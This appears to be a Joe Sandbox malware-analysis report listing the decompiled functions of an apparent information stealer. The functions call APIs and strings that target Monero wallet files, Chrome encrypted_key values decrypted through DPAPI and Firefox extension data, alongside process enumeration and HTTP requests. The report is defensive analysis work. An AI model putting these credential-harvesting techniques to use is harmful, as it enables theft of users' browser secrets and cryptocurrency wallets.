Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 209f96d083e3c9c20e5a4e34d1d35f54f685ceed1565b2f93d82095089820185
Instruction ID: 422ee2d343ed7160fb8f904315f5d5a7cb8bc3a657b012bdf1fe3938836eda2a
Opcode Fuzzy Hash: 209f96d083e3c9c20e5a4e34d1d35f54f685ceed1565b2f93d82095089820185
Instruction Fuzzy Hash: A4811271950108EBEF05FBA4DD9ADEE7378AF14300F50416AF506A6091EF3C6A09DB72

Function 0077F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007799EC
Part of subcall function 007799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00779A11
Part of subcall function 007799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00779A31
Part of subcall function 007799C0: ReadFile.KERNEL32(000000FF,?,00000000,0077148F,00000000), ref: 00779A5A
Part of subcall function 007799C0: LocalFree.KERNEL32(0077148F), ref: 00779A90
Part of subcall function 007799C0: CloseHandle.KERNEL32(000000FF), ref: 00779A9A

Part of subcall function 00788E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00788E52

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00791580,00790D92), ref: 0077F54C
lstrlen.KERNEL32(00000000), ref: 0077F56B

Strings

moz-extension+++, xrefs: 0077F5AD
^userContextId=4294967295, xrefs: 0077F59C

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 7cc9849c15945c9560a97fb6e88973e000a6a7500401090f772c2b24728e8919
Instruction ID: beb4bd1cf92282253da7351102e492c75f76edf082c418a6f30459ad1637f315
Opcode Fuzzy Hash: 7cc9849c15945c9560a97fb6e88973e000a6a7500401090f772c2b24728e8919
Instruction Fuzzy Hash: 1351F071D50108FAEF05FBA4DC9ADED7378AF54300F408529F816A7191EE3C6A19CBA2

Function 007870D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0078718C
sx, xrefs: 00787111
sx, xrefs: 007872AE, 00787179, 0078717C

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: sx$sx$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3185190315
Opcode ID: 504b15d2b065d0ff663e2bf881d341c1c319b8a745b186a640c58b8eca6cee61
Instruction ID: a52d50e942a49477bcde867718b576f640282d24260d3898ed942a17926419e2
Opcode Fuzzy Hash: 504b15d2b065d0ff663e2bf881d341c1c319b8a745b186a640c58b8eca6cee61
Instruction Fuzzy Hash: C95161B1D44218EFDB18FB90DC99BEEB774AF54304F2040A9E11676181EB786E88CF55

Function 00779CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 007799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007799EC
Part of subcall function 007799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00779A11
Part of subcall function 007799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00779A31
Part of subcall function 007799C0: ReadFile.KERNEL32(000000FF,?,00000000,0077148F,00000000), ref: 00779A5A
Part of subcall function 007799C0: LocalFree.KERNEL32(0077148F), ref: 00779A90
Part of subcall function 007799C0: CloseHandle.KERNEL32(000000FF), ref: 00779A9A

Part of subcall function 00788E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00788E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00779D39

Part of subcall function 00779AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nw,00000000,00000000), ref: 00779AEF
Part of subcall function 00779AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00774EEE,00000000,?), ref: 00779B01
Part of subcall function 00779AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nw,00000000,00000000), ref: 00779B2A
Part of subcall function 00779AC0: LocalFree.KERNEL32(?,?,?,?,00774EEE,00000000,?), ref: 00779B3F

Part of subcall function 00779B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00779B84
Part of subcall function 00779B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00779BA3
Part of subcall function 00779B60: LocalFree.KERNEL32(?), ref: 00779BD3

Strings

DPAPI, xrefs: 00779D89
"encrypted_key":", xrefs: 00779D30
, xrefs: 00779DC1

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: dbc6892cdadfcca57aa99b7933077c056994106b0603ff7f73a7d81de0cd5a6a
Instruction ID: fbb678f0318cdfb9c279c3cd04b046fe18948f00884627309cef9fd35ddc3116
Opcode Fuzzy Hash: dbc6892cdadfcca57aa99b7933077c056994106b0603ff7f73a7d81de0cd5a6a
Instruction Fuzzy Hash: 0E3152B5E11209ABCF14EBE4DC85AEE77B8BB48344F548519EA05A3241F7389A14CBA1

Function 00788680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,007905B7), ref: 007886CA
Process32First.KERNEL32(?,00000128), ref: 007886DE
Process32Next.KERNEL32(?,00000128), ref: 007886F3

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

CloseHandle.KERNEL32(?), ref: 00788761

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: bec1bba6c31c55ad1d135c9a51880967c9d21b610b73dd1e0a7e864ce3c73b82
Instruction ID: 63865b9e2a2fd30b41c0d649e90413000b7c4a04226df1e268b631b2115e3933
Opcode Fuzzy Hash: bec1bba6c31c55ad1d135c9a51880967c9d21b610b73dd1e0a7e864ce3c73b82
Instruction Fuzzy Hash: 0A318F71951218EBDB24EF91DC45FEEB778EB04700F1042AAE109A21A0DF386E45CFA2

Function 00786AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,014B8A80,?,0079110C,?,00000000,?,00791110,?,00000000,00790AEF), ref: 00786ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00786AE8
CloseHandle.KERNEL32(00000000), ref: 00786AF9
Sleep.KERNEL32(00001770), ref: 00786B04
CloseHandle.KERNEL32(?,00000000,?,014B8A80,?,0079110C,?,00000000,?,00791110,?,00000000,00790AEF), ref: 00786B1A
ExitProcess.KERNEL32 ref: 00786B22

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 289520af6626b6eb74de80b40100e911f92823914ccf0cc856afb584510dcb8d
Instruction ID: 88e200cffbed426ee345b8f3054eebb48360f271fdc990e0ba4244824cbda4ce
Opcode Fuzzy Hash: 289520af6626b6eb74de80b40100e911f92823914ccf0cc856afb584510dcb8d
Instruction Fuzzy Hash: 0FF03AB0988209FAE700BBA09D4ABBD7B34EB04701F208615B512A11C1DBB95940E757

Function 007747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00774839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00774849

Strings

<, xrefs: 007747C9

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 20cc564a056a2561ca11041189a464c26c216fd29e66a424cfb619c93e9274dd
Instruction ID: 2f36de6914431940bef07531641314ca06bdacd59b8c60384f7d91a66aa5bd46
Opcode Fuzzy Hash: 20cc564a056a2561ca11041189a464c26c216fd29e66a424cfb619c93e9274dd
Instruction Fuzzy Hash: 5C216FB1D00208ABDF14EFA5EC49ADE7B74FB04320F108625F915A72D0EB746A09CF91

Function 007851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 00776280: InternetOpenA.WININET(00790DFE,00000001,00000000,00000000,00000000), ref: 007762E1
Part of subcall function 00776280: StrCmpCA.SHLWAPI(?,014BE480), ref: 00776303
Part of subcall function 00776280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00776335
Part of subcall function 00776280: HttpOpenRequestA.WININET(00000000,GET,?,014BD8C8,00000000,00000000,00400100,00000000), ref: 00776385
Part of subcall function 00776280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 007763BF
Part of subcall function 00776280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 007763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00785228

Strings

ERROR, xrefs: 00785273
ERROR, xrefs: 0078521A

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
